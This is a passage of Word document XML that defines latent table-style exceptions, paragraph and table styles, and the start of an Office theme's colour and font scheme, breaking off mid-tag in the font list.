w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Grid\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Theme\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"60\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Light Shading\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"61\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Light List\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"62\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Light Grid\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"63\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Shading 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"64\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Shading 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"65\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium List 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"66\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium List 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"67\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Grid 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"68\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Grid 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"69\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Grid 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"70\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Dark List\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"71\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Colorful Shading\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"72\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Colorful List\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"73\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Colorful Grid\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"60\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Light Shading Accent 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"61\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Light List Accent 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"62\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Light Grid Accent 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"63\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Shading 1 Accent 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"64\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Shading 2 Accent 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"65\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium List 1 Accent 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"66\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium List 2 Accent 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"67\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Grid 1 Accent 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"68\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Grid 2 Accent 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"69\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Grid 3 Accent 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"70\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Dark List Accent 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"71\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Colorful Shading Accent 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"72\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Colorful List Accent 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"73\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Colorful Grid Accent 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"60\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Light Shading Accent 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"61\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Light List Accent 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"62\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Light Grid Accent 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"63\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Shading 1 Accent 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"64\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Shading 2 Accent 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"65\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium List 1 Accent 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"66\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium List 2 Accent 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"67\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Grid 1 Accent 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"68\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Grid 2 Accent 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"69\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Grid 3 Accent 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"70\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Dark List Accent 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"71\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Colorful Shading Accent 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"72\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Colorful List Accent 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"73\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Colorful Grid Accent 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"60\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Light Shading Accent 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"61\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Light List Accent 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"62\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Light Grid Accent 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"63\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Shading 1 Accent 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"64\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Shading 2 Accent 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"65\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium List 1 Accent 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"66\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium List 2 Accent 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"67\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Grid 1 Accent 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"68\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Grid 2 Accent 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"69\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Grid 3 Accent 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"70\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Dark List Accent 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"71\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Colorful Shading Accent 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"72\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Colorful List Accent 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"73\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Colorful Grid Accent 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"60\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Light Shading Accent 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"61\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Light List Accent 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"62\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Light Grid Accent 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"63\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Shading 1 Accent 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"64\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Shading 2 Accent 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"65\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium List 1 Accent 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"66\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium List 2 Accent 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"67\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Grid 1 Accent 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"68\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Grid 2 Accent 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"69\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Grid 3 Accent 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"70\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Dark List Accent 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"71\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Colorful Shading Accent 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"72\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Colorful List Accent 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"73\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Colorful Grid Accent 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"60\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Light Shading Accent 5\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"61\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Light List Accent 5\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"62\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Light Grid Accent 5\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"63\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Shading 1 Accent 5\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"64\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Shading 2 Accent 5\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"65\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium List 1 Accent 5\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"66\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium List 2 Accent 5\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"67\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Grid 1 Accent 5\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"68\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Grid 2 Accent 5\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"69\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Grid 3 Accent 5\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"70\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Dark List Accent 5\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"71\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Colorful Shading Accent 5\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"72\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Colorful List Accent 5\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"73\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Colorful Grid Accent 5\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"60\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Light Shading Accent 6\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"61\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Light List Accent 6\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"62\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Light Grid Accent 6\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"63\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Shading 1 Accent 6\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"64\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Shading 2 Accent 6\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"65\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium List 1 Accent 6\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"66\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium List 2 Accent 6\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"67\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Grid 1 Accent 6\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"68\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Grid 2 Accent 6\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"69\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Medium Grid 3 Accent 6\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"70\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Dark List Accent 6\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"71\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Colorful Shading Accent 6\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"72\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Colorful List Accent 6\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"73\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Colorful Grid Accent 6\" />\n\t\t\t\t</w:latentStyles>\n\t\t\t\t<w:style w:type=\"paragraph\" w:default=\"1\" w:styleId=\"1\">\n\t\t\t\t\t<w:name w:val=\"Normal\" />\n\t\t\t\t\t<w:qFormat />\n\t\t\t\t\t<w:uiPriority w:val=\"0\" />\n\t\t\t\t\t<w:pPr>\n\t\t\t\t\t\t<w:widowControl w:val=\"0\" />\n\t\t\t\t\t\t<w:jc w:val=\"both\" />\n\t\t\t\t\t</w:pPr>\n\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t<w:rFonts w:ascii=\"Times New Roman\" w:hAnsi=\"Times New Roman\"\n\t\t\t\t\t\t\tw:eastAsia=\"宋体\" w:cs=\"Times New Roman\" />\n\t\t\t\t\t\t<w:sz w:val=\"21\" />\n\t\t\t\t\t\t<w:szCs w:val=\"22\" />\n\t\t\t\t\t</w:rPr>\n\t\t\t\t</w:style>\n\t\t\t\t<w:style w:type=\"paragraph\" w:styleId=\"2\">\n\t\t\t\t\t<w:name w:val=\"heading 1\" />\n\t\t\t\t\t<w:basedOn w:val=\"1\" />\n\t\t\t\t\t<w:next w:val=\"1\" />\n\t\t\t\t\t<w:qFormat />\n\t\t\t\t\t<w:uiPriority w:val=\"0\" />\n\t\t\t\t\t<w:pPr>\n\t\t\t\t\t\t<w:keepNext />\n\t\t\t\t\t\t<w:keepLines />\n\t\t\t\t\t\t<w:spacing w:before=\"340\" w:beforeLines=\"0\"\n\t\t\t\t\t\t\tw:beforeAutospacing=\"0\" w:after=\"330\" w:afterLines=\"0\"\n\t\t\t\t\t\t\tw:afterAutospacing=\"0\" w:line=\"576\" w:lineRule=\"auto\" />\n\t\t\t\t\t\t<w:outlineLvl w:val=\"0\" />\n\t\t\t\t\t</w:pPr>\n\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t<w:b />\n\t\t\t\t\t\t<w:kern w:val=\"44\" />\n\t\t\t\t\t\t<w:sz w:val=\"44\" />\n\t\t\t\t\t</w:rPr>\n\t\t\t\t</w:style>\n\t\t\t\t<w:style w:type=\"character\" w:default=\"1\" w:styleId=\"4\">\n\t\t\t\t\t<w:name w:val=\"Default Paragraph Font\" />\n\t\t\t\t\t<w:semiHidden />\n\t\t\t\t\t<w:qFormat />\n\t\t\t\t\t<w:uiPriority w:val=\"0\" />\n\t\t\t\t</w:style>\n\t\t\t\t<w:style w:type=\"table\" w:default=\"1\" w:styleId=\"5\">\n\t\t\t\t\t<w:name w:val=\"Normal Table\" />\n\t\t\t\t\t<w:semiHidden />\n\t\t\t\t\t<w:uiPriority w:val=\"0\" />\n\t\t\t\t\t<w:tblPr>\n\t\t\t\t\t\t<w:tblLayout w:type=\"fixed\" />\n\t\t\t\t\t\t<w:tblCellMar>\n\t\t\t\t\t\t\t<w:top w:w=\"0\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t<w:left w:w=\"108\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t<w:bottom w:w=\"0\" w:type=\"dxa\" />\n\t\t\t\t\t\t\t<w:right w:w=\"108\" w:type=\"dxa\" />\n\t\t\t\t\t\t</w:tblCellMar>\n\t\t\t\t\t</w:tblPr>\n\t\t\t\t</w:style>\n\t\t\t\t<w:style w:type=\"paragraph\" w:styleId=\"3\">\n\t\t\t\t\t<w:name w:val=\"toc 1\" />\n\t\t\t\t\t<w:basedOn w:val=\"1\" />\n\t\t\t\t\t<w:next w:val=\"1\" />\n\t\t\t\t\t<w:uiPriority w:val=\"0\" />\n\t\t\t\t</w:style>\n\t\t\t</w:styles>\n\t\t</pkg:xmlData>\n\t</pkg:part>\n\t<pkg:part pkg:name=\"/word/theme/theme1.xml\"\n\t\tpkg:contentType=\"application/vnd.openxmlformats-officedocument.theme+xml\">\n\t\t<pkg:xmlData>\n\t\t\t<a:theme xmlns:a=\"http://schemas.openxmlformats.org/drawingml/2006/main\"\n\t\t\t\tname=\"Office\">\n\t\t\t\t<a:themeElements>\n\t\t\t\t\t<a:clrScheme name=\"Office\">\n\t\t\t\t\t\t<a:dk1>\n\t\t\t\t\t\t\t<a:sysClr val=\"windowText\" lastClr=\"000000\" />\n\t\t\t\t\t\t</a:dk1>\n\t\t\t\t\t\t<a:lt1>\n\t\t\t\t\t\t\t<a:sysClr val=\"window\" lastClr=\"FFFFFF\" />\n\t\t\t\t\t\t</a:lt1>\n\t\t\t\t\t\t<a:dk2>\n\t\t\t\t\t\t\t<a:srgbClr val=\"1F497D\" />\n\t\t\t\t\t\t</a:dk2>\n\t\t\t\t\t\t<a:lt2>\n\t\t\t\t\t\t\t<a:srgbClr val=\"EEECE1\" />\n\t\t\t\t\t\t</a:lt2>\n\t\t\t\t\t\t<a:accent1>\n\t\t\t\t\t\t\t<a:srgbClr val=\"4F81BD\" />\n\t\t\t\t\t\t</a:accent1>\n\t\t\t\t\t\t<a:accent2>\n\t\t\t\t\t\t\t<a:srgbClr val=\"C0504D\" />\n\t\t\t\t\t\t</a:accent2>\n\t\t\t\t\t\t<a:accent3>\n\t\t\t\t\t\t\t<a:srgbClr val=\"9BBB59\" />\n\t\t\t\t\t\t</a:accent3>\n\t\t\t\t\t\t<a:accent4>\n\t\t\t\t\t\t\t<a:srgbClr val=\"8064A2\" />\n\t\t\t\t\t\t</a:accent4>\n\t\t\t\t\t\t<a:accent5>\n\t\t\t\t\t\t\t<a:srgbClr val=\"4BACC6\" />\n\t\t\t\t\t\t</a:accent5>\n\t\t\t\t\t\t<a:accent6>\n\t\t\t\t\t\t\t<a:srgbClr val=\"F79646\" />\n\t\t\t\t\t\t</a:accent6>\n\t\t\t\t\t\t<a:hlink>\n\t\t\t\t\t\t\t<a:srgbClr val=\"0000FF\" />\n\t\t\t\t\t\t</a:hlink>\n\t\t\t\t\t\t<a:folHlink>\n\t\t\t\t\t\t\t<a:srgbClr val=\"800080\" />\n\t\t\t\t\t\t</a:folHlink>\n\t\t\t\t\t</a:clrScheme>\n\t\t\t\t\t<a:fontScheme name=\"Office\">\n\t\t\t\t\t\t<a:majorFont>\n\t\t\t\t\t\t\t<a:latin typeface=\"Cambria\" />\n\t\t\t\t\t\t\t<a:ea typeface=\"\" />\n\t\t\t\t\t\t\t<a:cs typeface=\"\" />\n\t\t\t\t\t\t\t<a:font script=\"Jpan\" typeface=\"ＭＳ ゴシック\" />\n\t\t\t\t\t\t\t<a:font script=\"Hang\" typeface=\"맑은 고딕\" />\n\t\t\t\t\t\t\t<a:font script=\"Hans\" typeface=\"宋体\" />\n\t\t\t\t\t\t\t<a:font script=\"Hant\" typeface=\"新細明體\" />\n\t\t\t\t\t\t\t<a:font script=\"Arab\" typeface=\"Times New Roman\" />\n\t\t\t\t\t\t\t<a:font script=\"Hebr\" typeface=\"Times New Roman\" />\n\t\t\t\t\t\t\t<a:font script=\"Thai\" typeface=\"Angsana New\" />\n\t\t\t\t\t\t\t<a:font script=\"Ethi\" typeface=\"Nyala\" />\n\t\t\t\t\t\t\t<a:font script=\"Beng\" typeface=\"Vrinda\" />\n\t\t\t\t\t\t\t<a:font script=\"Gujr\" typeface=\"Shruti\" />\n\t\t\t\t\t\t\t<a:font script=\"Khmr\" typeface=\"MoolBoran\" />\n\t\t\t\t\t\t\t<a:font script=\"Knda\" typeface=\"Tunga\" />\n\t\t\t\t\t\t\t<a:font script=\"Guru\" typeface=\"Raavi\" />\n\t\t\t\t\t\t\t<a:font script=\"Cans\" typeface=\"Euphemia\" />\n\t\t\t\t\t\t\t<a:font script=\"Cher\" typeface=\"Plantagenet Cherokee\" />\n\t\t\t\t\t\t\t<a:font script=\"Yiii\" typeface=\"Microsoft Yi Baiti\" />\n\t\t\t\t\t\t\t<a:font script=\"Tibt\" typeface=\"Microsoft Himalaya\" />\n\t\t\t\t\t\t\t<a:font script=\"Thaa\" typeface=\"MV Boli\" />\n\t\t\t\t\t\t\t<a:font script=\"Deva\" typeface=\"Mangal\" />\n\t\t\t\t\t\t\t<a:font script=\"Telu\" typeface=\"Gautami\" />\n\t\t\t\t\t\t\t<a:font script=\"Taml\" typeface=\"Latha\" />\n\t\t\t\t\t\t\t<a:font script=\"Syrc\" typeface=\"Estrangelo Edessa\" />\n\t\t\t\t\t\t\t<a:font script=\"Orya\" typeface=\"Kalinga\" />\n\t\t\t\t\t\t\t<a:font script=\"Mlym\" typeface=\"Kartika\" />\n\t\t\t\t\t\t\t<a:font script=\"Laoo\" typeface=\"DokChampa\" />\n\t\t\t\t\t\t\t<a:font script=\"Sinh\" typeface=\"Iskoola Pota\" />\n\t\t\t\t\t\t\t<a:font script=\"Mong\" typeface=\"Mongolian Baiti\" />\n\t\t\t\t\t\t\t<a:font script=\"Viet\" typeface=\"Times New Roman\" />\n\t\t\t\t\t\t\t<a:font script=\"Uigh\" typeface=\"Microsoft Uighur\" />\n\t\t\t\t\t\t\t<a:font script=\"Geor\" typeface=\"Sylfaen\" />\n\t\t\t\t\t\t</a:majorFont>\n\t\t\t\t\t\t<a:minorFont>\n\t\t\t\t\t\t\t<a:latin typeface=\"Calibri\" />\n\t\t\t\t\t\t\t<a:ea typeface=\"\" />\n\t\t\t\t\t\t\t<a:cs typeface=\"\" />\n\t\t\t\t\t\t\t<a:font script=\"Jpan\" typeface=\"ＭＳ 明朝\" />\n\t\t\t\t\t\t\t<a:font script=\"Hang\" typeface=\"맑은 고딕\" />\n\t\t\t\t\t\t\t<a:font script=\"Hans\" typeface=\"宋体\" />\n\t\t\t\t\t\t\t<a:font script=\"Hant\" typeface=\"新細明體\" />\n\t\t\t\t\t\t\t<a:font script=\"Arab\" typeface=\"Arial\" />\n\t\t\t\t\t\t\t<a:font script=\"Hebr\" typeface=\"Arial\" />\n\t\t\t\t\t\t\t<a:font script=\"Thai\" typeface=\"Cordia New\" />\n\t\t\t\t\t\t\t<a:font script=\"Ethi\" typeface=\"Nyala\" />\n\t\t\t\t\t\t\t<a:font script=\"Beng\" typeface=\"Vrinda\" />\n\t\t\t\t\t\t\t<a:font script=\"Gujr\" typeface=\"Shruti\" />\n\t\t\t\t\t\t\t<a:font script=\"Khmr\" typeface=\"DaunPenh\" />\n\t\t\t\t\t\t\t<a:font script=\"Knda\" typeface=\"Tunga\" />\n\t\t\t\t\t\t\t<a:font script=\"Guru\" typeface=\"Raavi\" />\n\t\t\t\t\t\t\t<a:font script=\"Cans\" typeface=\"Euphemia\" />\n\t\t\t\t\t\t\t<a:font script=\"Cher\" typeface=\"Plantagenet Cherokee\" />\n\t\t\t\t\t\t\t<a:font script=\"Yiii\" typeface=\"Microsoft Yi Baiti\" />\n\t\t\t\t\t\t\t<a:font script=\"Tibt\" typeface=\"Microsoft Himalaya\" />\n\t\t\t\t\t\t\t<a:font script=\"Thaa\" typeface=\"MV Boli\" />\n\t\t\t\t\t\t\t<a:font script=\"Deva\" typeface=\"Mangal\" 